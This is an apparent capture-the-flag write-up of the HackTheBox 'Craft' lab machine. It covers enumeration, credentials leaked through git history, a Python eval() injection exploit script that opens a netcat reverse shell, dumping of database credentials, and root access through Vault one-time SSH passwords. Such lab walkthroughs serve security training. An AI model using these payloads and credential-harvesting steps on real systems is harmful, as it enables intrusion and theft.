Craft

Be the hero of your own story!

HackTheBox Craft Machine Info Card

Craft is a medium difficulty machine running Linux. It tests your knowledge in Git and Python as well as tests your ability to review documentation of programs you may not have come across before. This machine isn’t difficult but like most things if you think too much in to the situation it will seem harder than it really is.

Be sure to checkout the Basic Setup section before you get started.

Enumeration

Like always, enumeration is our first port of call. Let’s take a look at the machine and see what we are dealing with.

Portscan

First off let’s do our portscan so we know what services may be running:

portscan craft.htb
Grabbing ports...
Ports grabbed!
Scanning...
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-14 17:46 PST
Nmap scan report for craft.htb (10.10.10.110)
Host is up (0.32s latency).

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 7.4p1 Debian 10+deb9u5 (protocol 2.0)
| ssh-hostkey: 
|   2048 bd:e7:6c:22:81:7a:db:3e:c0:f0:73:1d:f3:af:77:65 (RSA)
|   256 82:b5:f9:d1:95:3b:6d:80:0f:35:91:86:2d:b3:d7:66 (ECDSA)
|_  256 28:3b:26:18:ec:df:b3:36:85:9c:27:54:8d:8c:e1:33 (ED25519)
443/tcp  open  ssl/http nginx 1.15.8
|_http-server-header: nginx/1.15.8
|_http-title: About
| ssl-cert: Subject: commonName=craft.htb/organizationName=Craft/stateOrProvinceName=NY/countryName=US
| Not valid before: 2019-02-06T02:25:47
|_Not valid after:  2020-06-20T02:25:47
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
| tls-nextprotoneg: 
|_  http/1.1
6022/tcp open  ssh      (protocol 2.0)
| fingerprint-strings: 
|   NULL: 
|_    SSH-2.0-Go
| ssh-hostkey: 
|_  2048 5b:cc:bf:f1:a1:8f:72:b0:c0:fb:df:a3:01:dc:a6:fb (RSA)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port6022-TCP:V=7.80%I=7%D=12/14%Time=5DF59092%P=x86_64-pc-linux-gnu%r(N
SF:ULL,C,"SSH-2\.0-Go\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 54.67 seconds

We find three open ports and two different services. Ports 22 and 6022 has ssh services running and port 443 has the nginx service running. Knowing that nginx is a web service lets enumerate any other directories or vhosts.

VHosts

Gobuster has three different modes. We will take a look at the vhost mode for bruteforcing virtual hosts.

Doing a scan with Gobuster reveals two additional vhosts for craft.htb:

gobuster vhost -u https://craft.htb -t 30 -k -w /usr/share/wordlists/dirb/big.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:          https://craft.htb
[+] Threads:      30
[+] Wordlist:     /usr/share/wordlists/dirb/big.txt
[+] User Agent:   gobuster/3.0.1
[+] Timeout:      10s
===============================================================
2019/12/15 00:45:22 Starting gobuster
===============================================================
Found: api.craft.htb (Status: 404) [Size: 233]
Found: vault.craft.htb (Status: 404) [Size: 19]
===============================================================
2019/12/15 00:44:19 Finished
===============================================================

Let’s add them to our /etc/hosts so we can navigate to these pages.

Domains

First we navigate to https://craft.htb which is the main domain. We come across a website:

Craft Main Screenshot

On this page we can see two links to the right of the top navbar.

The API Link api.craft.htb/api/ takes us to what seems to be documentation and demonstration of the Craft API:

Craft API Screenshot

The other icon is the Git logo which links to https://gogs.craft.htb another vhost. Adding gogs.craft.htb to /etc/hosts we navigate to a self-hosted git service called “Gogs”:

Craft Gogs Screenshot

Foothold

When going to the Explore link at Gogs we see a public repository called Craft/craft-api:

Gogs Repo Craft API Screenshot

Information Leak

On inspection of the repo we find a submitted issue by Dinesh Chugtai:

Gogs Repo Craft API Issues Screenshot

We find that Dinesh references the command:

curl -H 'X-Craft-API-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImV4cCI6MTU0OTM4NTI0Mn0.-wW1aJkLQDOE-GP5pQd3z_BJTe2Uo0jJ_mQ238P5Dqw' -H "Content-Type: application/json" -k -X POST https://api.craft.htb/api/brew/ --data '{"name":"bullshit","brewer":"bullshit", "style": "bullshit", "abv": "15.0")}'

The issue seems to be in regards to bogus abv values being able to be added to the database. Dinesh is asked by the developers to push a fix to the repository which he does:

Gogs Repo Craft API Issue Fix Screenshot

We see that Dinesh, for whatever reason, has opted to use pythons eval() function with %s allowing a custom string.

A comment made by another developer confirms this is most likey the case:

Gogs Repo Craft API Issue Fix Comment Screenshot

When trying to use Dinesh’s curl command we found earlier in the issue we get the response: {"message": "The browser (or proxy) sent a request that this server could not understand."}

If we try to use it with other commands found at the api page such as:

curl -X GET "https://api.craft.htb/api/auth/check" -H  "accept: application/json" -H 'X-Craft-API-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImV4cCI6MTU0OTM4NTI0Mn0.-wW1aJkLQDOE-GP5pQd3z_BJTe2Uo0jJ_mQ238P5Dqw' -k

We get the reponse {"message": "Invalid token or no token found."}. The token is potentially not valid anymore.

Digging Deeper

Going back to searching the repository we find a tests directory that contains a python script that was created by Dinesh. It seems he was using it to run tests on his awesome “fix”:

#!/usr/bin/env python

import requests
import json

response = requests.get('https://api.craft.htb/api/auth/login',  auth=('', ''), verify=False)
json_response = json.loads(response.text)
token =  json_response['token']

headers = { 'X-Craft-API-Token': token, 'Content-Type': 'application/json'  }

# make sure token is valid
response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False)
print(response.text)

# create a sample brew with bogus ABV... should fail.

print("Create bogus ABV brew")
brew_dict = {}
brew_dict['abv'] = '15.0'
brew_dict['name'] = 'bullshit'
brew_dict['brewer'] = 'bullshit'
brew_dict['style'] = 'bullshit'

json_data = json.dumps(brew_dict)
response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False)
print(response.text)


# create a sample brew with real ABV... should succeed.
print("Create real ABV brew")
brew_dict = {}
brew_dict['abv'] = '0.15'
brew_dict['name'] = 'bullshit'
brew_dict['brewer'] = 'bullshit'
brew_dict['style'] = 'bullshit'

json_data = json.dumps(brew_dict)
response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False)
print(response.text)

We may be able to use this to inject our payload!

We see that the script uses the api call /auth/login to obtain a token. From the api page we see that this api call creates an authentication token and requires a username and password:

Craft API Auth Login Screenshot

Does this mean we need to find a username and password? I would say so. The username and password are most likley the parameters that go into auth=('', '') in our script.

Good thing Dinesh is using git I’d say. Let’s check if this script is a revision of a previous version. Taking a look we see the current commit is a2d28ed155 with the message Cleanup test. Here we can see the changes that were made:

Gogs Repo Craft Test.py Commit Screenshot

And there we have it: dinesh:4aUh...VJxgd

Now let’s setup our script:

### 
# exploit.py
###

#!/usr/bin/env python

import requests
import json
import sys
import urllib3
urllib3.disable_warnings()

response = requests.get('https://api.craft.htb/api/auth/login',  auth=('dinesh', '4aUh...VJxgd'), verify=False)
json_response = json.loads(response.text)
token =  json_response['token']

headers = { 'X-Craft-API-Token': token, 'Content-Type': 'application/json'  }

# make sure token is valid
response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False)
print(response.text)

# create a sample brew with bogus ABV... should fail.
command = '__import__("os").system("nc <your-ip> 1337 -e sh")'
print("Create bogus ABV brew")
brew_dict = {}
brew_dict['abv'] = command
brew_dict['name'] = 'bullshit'
brew_dict['brewer'] = 'bullshit'
brew_dict['style'] = 'bullshit'

json_data = json.dumps(brew_dict)
response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False)
print(response.text)

We have our script named exploit.py that contains Dinesh’s modified code. As you can see we have added a variable named command that contains __import__("os").system("nc <your-ip> 1337 -e sh"). Be sure to change <your-ip> to your own IP address.

Then we can setup our netcat listener:

nc -lvp 1337

Now all that is left to do is run our modified script:

python exploit.py

Once connected running the command id shows that we are root. However, on closer inspection we find that we are in a chroot environment. We can check this by running the command ls -di / if the output is anything but 2 it can indicate that we are chrooted:

ls -di /
  19256 /

Checking the hostname we see that we are most likely in a docker container:

hostname
5a3d243127f5

Chroot

Since we are in a “jail” our first thoughts are most likely “We have to break out!”. Now before we get carried away the first thing I do when I get a shell is check what we have in our working directory.

Taking a look we find some files and folders:

ls -la
total 36
drwxr-xr-x    5 root     root          4096 Jan  4 09:51 .
drwxr-xr-x    1 root     root          4096 Feb  9  2019 ..
drwxr-xr-x    8 root     root          4096 Feb  8  2019 .git
-rw-r--r--    1 root     root            18 Feb  7  2019 .gitignore
-rw-r--r--    1 root     root          1585 Feb  7  2019 app.py
drwxr-xr-x    5 root     root          4096 Feb  7  2019 craft_api
-rwxr-xr-x    1 root     root           673 Feb  8  2019 dbtest.py
drwxr-xr-x    2 root     root          4096 Feb  7  2019 tests

The first thing I notice is the dbtest.py as this file was in the craft_api respository. Since we know that Dinesh loves his test scripts let’s check it out:

#!/usr/bin/env python

import pymysql
from craft_api import settings

# test connection to mysql database

connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
                             user=settings.MYSQL_DATABASE_USER,
                             password=settings.MYSQL_DATABASE_PASSWORD,
                             db=settings.MYSQL_DATABASE_DB,
                             cursorclass=pymysql.cursors.DictCursor)

try: 
    with connection.cursor() as cursor:
        sql = "SELECT `id`, `brewer`, `name`, `abv` FROM `brew` LIMIT 1"
        cursor.execute(sql)
        result = cursor.fetchone()
        print(result)

finally:
    connection.close()

This script takes in credentials and tests the database using the python module pymysql. There may be creds somewhere! In the script we also see that it imports settings with from craft_api import settings.

Let’s take a peak in the craft_api directory:

ls -la craft_api
total 24
drwxr-xr-x    5 root     root          4096 Feb  7  2019 .
drwxr-xr-x    5 root     root          4096 Dec 17 09:35 ..
-rw-r--r--    1 root     root             0 Feb  7  2019 __init__.py
drwxr-xr-x    2 root     root          4096 Feb  7  2019 __pycache__
drwxr-xr-x    5 root     root          4096 Feb  7  2019 api
drwxr-xr-x    3 root     root          4096 Feb  7  2019 database
-rw-r--r--    1 root     root           484 Feb  7  2019 settings.py

Theres our settings. Taking a look at settings.py we see credentials for the MySQL server:

cat settings.py
# Flask settings
FLASK_SERVER_NAME = 'api.craft.htb'
FLASK_DEBUG = False  # Do not use debug mode in production

# Flask-Restplus settings
RESTPLUS_SWAGGER_UI_DOC_EXPANSION = 'list'
RESTPLUS_VALIDATE = True
RESTPLUS_MASK_SWAGGER = False
RESTPLUS_ERROR_404_HELP = False
CRAFT_API_SECRET = 'hz66OCkDtv8G6D'

# database
MYSQL_DATABASE_USER = 'craft'
MYSQL_DATABASE_PASSWORD = 'qLGockJ6G2J75O'
MYSQL_DATABASE_DB = 'craft'
MYSQL_DATABASE_HOST = 'db'
SQLALCHEMY_TRACK_MODIFICATIONS = False

This means dbtest.py should work. Running the script succeeds and we get some output:

python dbtest.py
{'id': 12, 'brewer': '10 Barrel Brewing Company', 'name': 'Pub Beer', 'abv': Decimal('0.050')}

Nice! Taking a closer look at the code I notice the use of cursor.fetchone(). Checking the MySQL documentation for cursor.fetchone() this method returns a single record. We don’t want any restrictions here. Within the docs we also see cursor.fetchall() which fetches all the rows of a query result. This is what we need!

Let’s update the script with this change and also make life easier for ourselves by adding an argument for the script. This way we can just download our updated script once and then run any MySQL queries from the commandline as we see fit.

This is now what we have:

#!/usr/bin/env python

import pymysql
from craft_api import settings
import sys

# test connection to mysql database

connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
                             user=settings.MYSQL_DATABASE_USER,
                             password=settings.MYSQL_DATABASE_PASSWORD,
                             db=settings.MYSQL_DATABASE_DB,
                             cursorclass=pymysql.cursors.DictCursor)

try: 
    with connection.cursor() as cursor:
        sql = sys.argv[1]
        cursor.execute(sql)
        result = cursor.fetchall()
        print(result)

finally:
    connection.close()

Let’s test our script starting with seeing what tables are available:

python dbtest.py "show tables;"
[{'Tables_in_craft': 'brew'}, {'Tables_in_craft': 'user'}]

We find two tables brew and user. Let’s checkout what user info we can get:

python dbtest.py "select * from user;"
[{'id': 1, 'username': 'dinesh', 'password': '4aUh...VJxgd'}, {'id': 4, 'username': 'ebachman', 'password': 'llJ7...LPQB'}, {'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3...rh4T'}]

Awesome! More creds. Maybe there is no need to be breaking out of any jails this time…

User

None of the creds work on ssh. But what I did notice was that the ssh service on port 6022 needs a ssh key. There might be one lying about somewhere. Both the users ebachman and gilfoyle were the developers speaking with dinesh in the repo issue. Git has been known to cause some security issues in the real world so I think we have a theme going on here. Let’s see if we can login to Gogs with one of these users.

Yep! We can login as gilfoyle:

Craft Gogs Gilfoyle Dashboard Screenshot

We see that gilfoyle has a private repo called craft-infra. Within that repo we see some directories including an .ssh directory and a directory called vault which I am going to assume is related to the vault vhost we found earlier:

Gogs craft-infra Repository Screenshot

Within the .ssh directory we find gilfoyle’s ssh private key:

Gogs Gilfoyle SSH Private Key Screenshot

Attempting to use the ssh key we get asked for a passphrase. Using gilfoyle’s password we got from the MySQL database again gets us access:

ssh -i id_rsa-gilfoyle gilfoyle@craft.htb


  .   *   ..  . *  *
*  * @()Ooc()*   o  .
    (Q@*0CG*O()  ___
   |\_________/|/ _ \
   |  |  |  |  | / | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | \_| |
   |  |  |  |  |\___/
   |\_|__|__|_/|
    \_________/



Enter passphrase for key 'id_rsa-gilfoyle': 
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
gilfoyle@craft:~$ cat user.txt
bbf4b0cadfa....9cd5a612d4

Ok so we have found the user.txt flag finally… Let’s move on to root.

Root

On inspection of the home directory we see some hidden files and folders. Here we can see a file called .vault-token which must be related to the vault domain we found earlier as well as the vaults folder in gilfoyle’s repository:

ls -la
total 36
drwx------ 4 gilfoyle gilfoyle 4096 Feb  9  2019 .
drwxr-xr-x 3 root     root     4096 Feb  9  2019 ..
-rw-r--r-- 1 gilfoyle gilfoyle  634 Feb  9  2019 .bashrc
drwx------ 3 gilfoyle gilfoyle 4096 Feb  9  2019 .config
-rw-r--r-- 1 gilfoyle gilfoyle  148 Feb  8  2019 .profile
drwx------ 2 gilfoyle gilfoyle 4096 Feb  9  2019 .ssh
-r-------- 1 gilfoyle gilfoyle   33 Feb  9  2019 user.txt
-rw------- 1 gilfoyle gilfoyle   36 Feb  9  2019 .vault-token
-rw------- 1 gilfoyle gilfoyle 2546 Feb  9  2019 .viminfo
gilfoyle@craft:~$ cat .vault-token 
f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9

Let’s go back to Gog and research what all this vault stuff is about. Taking a look in the vaults directory of gilfoyle’s repo we see that there is a Dockerfile for a docker image called vault by hashicorp.com. Checking out the documentation we see that Vault is used to “Manage Secrets and Protect Sensitive Data”.

In the vaults directory I also find a bash script named secrets.sh:

 #!/bin/bash

 # set up vault secrets backend

 vault secrets enable ssh

 vault write ssh/roles/root_otp \
     key_type=otp \
     default_user=root \
     cidr_list=0.0.0.0/0

I find a page in the documentation regarding this setting and which turns out to be One-Time SSH Passwords. The command vault secrets enable ssh mounts the secrets engine and the vault write ssh/roles/root_otp is creating a role called root_otp. On further reading the documentation I see that connecting via ssh can be “automated”.

Let’s see if we have access to the vault command in gilfoyle’s account:

vault
Usage: vault <command> [args]

Common commands:
    read        Read data and retrieves secrets
    write       Write data, configuration, and secrets
    delete      Delete secrets and configuration
    list        List data or secrets
    login       Authenticate locally
    agent       Start a Vault agent
    server      Start a Vault server
    status      Print seal and HA status
    unwrap      Unwrap a wrapped secret

Other commands:
    audit          Interact with audit devices
    auth           Interact with auth methods
    kv             Interact with Vaults Key-Value storage
    lease          Interact with leases
    namespace      Interact with namespaces
    operator       Perform operator-specific tasks
    path-help      Retrieve API help for paths
    plugin         Interact with Vault plugins and catalog
    policy         Interact with policies
    secrets        Interact with secrets engines
    ssh            Initiate an SSH session
    token          Interact with tokens

Ok so this is it. Let’s try the ssh automation we found in the documentation. When logging in you have to use the OTP code that is generated to paste into the password prompt:

vault ssh -role root_otp -mode otp root@10.10.10.110
Vault could not locate "sshpass". The OTP code for the session is displayed
below. Enter this code in the SSH password prompt. If you install sshpass,                                                                                                                  
Vault can automatically perform this step for you.                                                                                                                                          
OTP for the session is: 90ee1390-dcaf-4663-fa52-9069cf312806

  .   *   ..  . *  *
*  * @()Ooc()*   o  .
    (Q@*0CG*O()  ___
   |\_________/|/ _ \
   |  |  |  |  | / | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | \_| |
   |  |  |  |  |\___/
   |\_|__|__|_/|
    \_________/



Password: 
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Aug 27 04:53:14 2019
root@craft:~# id
uid=0(root) gid=0(root) groups=0(root)
root@craft:~# cat root.txt
831d64ef54....ae28a11591

And there you have it. The root.txt flag… Now that was a fun ride! Congrats we have captured another flag!!

Conclusion

There have been many cases where git has caused large companies to unintentionally expose their data. A recent realworld example is Starbucks exposing their JumpCloud API Key in a GitHub repository. This could have lead to a full AWS Account Takeover. Although the scenarios in this machine may have seemed too far fetched to be seen in the wild the reality is that the problem is becoming more of a regular occurence.

Hack The Box